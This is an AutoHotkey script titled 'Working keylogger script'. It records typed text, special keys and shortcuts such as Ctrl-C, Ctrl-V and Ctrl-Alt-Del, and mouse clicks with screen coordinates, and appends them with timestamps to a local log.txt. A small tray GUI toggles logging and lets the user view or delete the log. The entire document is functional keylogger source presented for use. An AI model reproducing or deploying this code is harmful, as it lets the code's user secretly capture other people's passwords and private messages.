Working keylogger script

start:

; ----------------------------------------------------------------- GUI BOX ----------------------------------------------------------------- ;
;#warn

OnMessage(0x404, "AHK_NOTIFYICON")

AHK_NOTIFYICON(wParam, lParam)
{
    if (lParam = 0x202) ; WM_LBUTTONUP
    {
        GoSub, createGUI
        Gui, Show, , Hotkeys
    }
  else if (lParam = 0x205) ; WM_RBUTTONUP
    {
        Menu, Tray, Show
    }
}




IniRead, 12ch, C:\Program Files\AutoHotkey\Files\Hotkeys.ini, Checkboxes, checkboxOptKeylogger
IniRead, 13ch, C:\Program Files\AutoHotkey\Files\Hotkeys.ini, Checkboxes, checkboxOptMouseTrap




; ----------------------------------------------------------------- KEY LOGGER ----------------------------------------------------------------- ;
#If (12ch = 1)

  #noenv
  #singleinstance, ignore
  setbatchlines, -1
  setworkingdir, %a_scriptdir%
  process, priority, ,high
  coordmode, mouse, screen


  settimer, mem, 1200000, 0

  blank=
  endkey={enter}{tab}{BS}{left}{up}{right}{down}{LeftButton}{RButton}
  match=.,?,!

while (12ch = 1)
 {
;   msgbox, loop value: %12ch%
   key=
   emptymem()
   input, text, imv*, %endkey%, %match%
   stringtrimleft, key, errorlevel, 7
   stringreplace, key, key, enter, {Enter}
   stringreplace, key, key, tab, {Tab}
   stringreplace, key, key, backspace, {Backspace}
   stringreplace, key, key, left, {Left Arrow}
   stringreplace, key, key, up, {Up Arrow}
   stringreplace, key, key, right, {Right Arrow}
   stringreplace, key, key, down, {Down Arrow}
   stringreplace, key, key, LButton, {Left Button}
   stringreplace, key, key, RButton, {Right Button}
   stringreplace, text, text, , %blank%
   time=%a_dd%/%a_mm%/%a_yyyy% %a_hour%:%a_min%:%a_sec%
   key=%key%
   text=%text%

   if text=%blank%
    {
      fileappend, %time% - %key%`n, log.txt
    }

   if key=%blank%
    {
      fileappend, %time% - %text%`n, log.txt
    }

   if text<>%blank%
    {
      if key<>%blank%
       {
         fileappend, %time% - %text%`n, log.txt
         fileappend, %time% - %key%`n, log.txt
       }
    }
 }

  ~esc & f1::return
  ~esc up::
   {
     content = {Esc}
     goto, write
   }
  return

  ~printscreen & f1::return
  ~printscreen up::
   {
     content = {Print Screen}
     goto, write
   }
  return

  ~lshift & f1::return
  ~lshift up::
   {
     content = {Left Shift}
     goto, write
   }
  return

  ~rshift & f1::return
  ~rshift up::
   {
     content = {Right Shift}
     goto, write
   }
  return

  ~lcontrol & f1::return
  ~lcontrol up::
   {
     content = {Left Ctrl}
     goto, write
   }
  return

  ~rcontrol & f1::return
  ~rcontrol up::
   {
     content = {Right Ctrl}
     goto, write
   }
  return

  ~lalt & f1::return
  ~lalt up::
   {
     content = {Left Alt}
     goto, write
   }
  return

  ~ralt & f1::return
  ~ralt up::
   {
     content = {Right Alt}
     goto, write
   }
  return

  ~lwin::
   {
     content = {Left Win}
     goto, write
   }
  return

  ~rwin::
   {
     content = {Right Win}
     goto, write
   }
  return

  ~del & f1::return
  ~del up::
   {
     content = {Delete}
     goto, write
   }
  return

  ~ins & f1::return
  ~ins up::
   {
     content = {Insert}
     goto, write
   }
  return

  ~home & f1::return
  ~home up::
   {
     content = {Home}
     goto, write
   }
  return

  ~end & f1::return
  ~end up::
   {
     content = {End}
     goto, write
   }
  return

  ~pgup::
   {
     content = {Page Up}
     goto, write
   }
  return

  ~pgdn::
   {
     content = {Page Down}
     goto, write
   }
  return

  ~^z::
   {
     content = {Ctrl-Z}
     goto, write
   }
  return

  ~^x up::
   {
     content = {Ctrl-X}
     goto, write
   }
  return

  ~^c up::
   {
     content = {Ctrl-C}
     goto, write
   }
  return

  ~^v::
   {
     content = {Ctrl-V}
     goto, write
   }
  return

  ~^s::
   {
     content = {Ctrl-S}
     goto, write
   }
  return

  ~^del::
   {
     content = {Ctrl-Del}
     goto, write
   }
  return

  ~^BS::
   {
     content = {Ctrl-Backspace}
     goto, write
   }
  return


  ~^!del::
   {
     content = {Ctrl-Alt-Del}
     goto, write
   }
  return

  ~^+esc::
   {
     content = {Ctrl-Shift-Esc}
     goto, write
   }
  return

  ~f1 up::
   {
     content = {F1}
     goto, write
   }
  return

  ~f2 up::
   {
     content = {F2}
     goto, write
   }
  return

  ~f3 up::
   {
     content = {F3}
     goto, write
   }
  return

  ~f4 up::
   {
     content = {F4}
     goto, write
   }
  return

  ~f5 up::
   {
     content = {F5}
     goto, write
   }
  return

  ~f6 up::
   {
     content = {F6}
     goto, write
   }
  return

  ~f7 up::
   {
     content = {F7}
     goto, write
   }
  return

  ~f8 up::
   {
     content = {F8}
     goto, write
   }
  return

  ~f9 up::
   {
     content = {F9}
     goto, write
   }
  return

  ~f10 up::
   {
     content = {F10}
     goto, write
   }
  return

  ~f11 up::
   {
     content = {F11}
     goto, write
   }
  return

  ~f12 up::
   {
     content = {F12}
     goto, write
   }
  return


#If (13ch = 1) && (12ch = 1)
  ~lbutton::
   {
     time=%a_dd%/%a_mm%/%a_yyyy% %a_hour%:%a_min%:%a_sec%
     mousegetpos, mx, my

     if lcount > 0
      {
        lcount += 1
        return
      }
     else
      {
        lcount = 1
        settimer, go, 300
        return
      }

     go:
      {
        settimer, go, off

        if lcount = 1
         {
           content = {Left click - %mx% x %my%}
           gosub, write
         }
        else if lcount > 1
         {
           content = {Double click - %mx% x %my%}
           gosub, write
         }
      }
     lcount = 0
     return
   }


  ~rbutton::
   {
     date=%a_dd%-%a_mm%-%a_yyyy%
     time=%a_dd%/%a_mm%/%a_yyyy% %a_hour%:%a_min%:%a_sec%
     mousegetpos, mx, my
     content = {Right click - %mx% x %my%}
     goto, write
   }
  return

  ~mbutton::
   {
     time=%a_dd%/%a_mm%/%a_yyyy% %a_hour%:%a_min%:%a_sec%
     mousegetpos, mx, my
     content = {Center click - %mx% x %my%}
     settimer, write, -120
   }
  return


write:
 {
   time=%a_dd%/%a_mm%/%a_yyyy% %a_hour%:%a_min%:%a_sec%
   fileappend, %time% - %content%`n, log.txt
   emptymem()
 }
return

view:
 {
   fileinstall, log.txt, log.txt, 0
   runwait, log.txt
   emptymem()
 }
return

delete:
 {
   ifexist, log.txt
    {
      msgbox, 33, Confirm Delete, Delete log?

      ifmsgbox, ok
       {
         filerecycle, log.txt
         msgbox, 64, Log Deleted, The log file has been sent to the Recycle Bin., 5
         emptymem()
         return
       }
      else
       {
         emptymem()
         return
       }
    }

   ifnotexist, log.txt
    {
      msgbox, 64, Cannot Delete Log, Cannot delete log file because it does not exist., 5
      emptymem()
      return
    }
 }
return

mem:
 {
   emptymem()
 }
return

emptymem()
 {
   return, dllcall("psapi.dll\EmptyWorkingSet", "UInt", -1)
 }




; ----------------------------------------------------------------- GUI BOX ----------------------------------------------------------------- ;

createGUI:
  Gui, Destroy



  IniRead, 12ch, C:\Program Files\AutoHotkey\Files\Hotkeys.ini, Checkboxes, checkboxOptKeylogger
  Gui, Add, Checkbox, vOptKeyLogger Checked%12ch%, enable KeyLogger

  IniRead, 13ch, C:\Program Files\AutoHotkey\Files\Hotkeys.ini, Checkboxes, checkboxOptMouseTrap
  Gui, Add, Checkbox, vOptMouseTrap Checked%13ch%, enable MouseTrap


  Gui, Add, Button, gview, View Log
  Gui, Add, Button, gdelete, Delete Log
  Gui, Add, Button, gExitButton, Save and Exit
return



ExitButton:
GuiClose:

  Gui, Submit, Hide

  IniWrite, %OptKeyLogger%, C:\Program Files\AutoHotkey\Files\Hotkeys.ini, Checkboxes, checkboxOptKeyLogger
  IniWrite, %OptMouseTrap%, C:\Program Files\AutoHotkey\Files\Hotkeys.ini, Checkboxes, checkboxOptMouseTrap

  Gui, Destroy

;  msgbox, end of script value %12ch%

  goto, start
return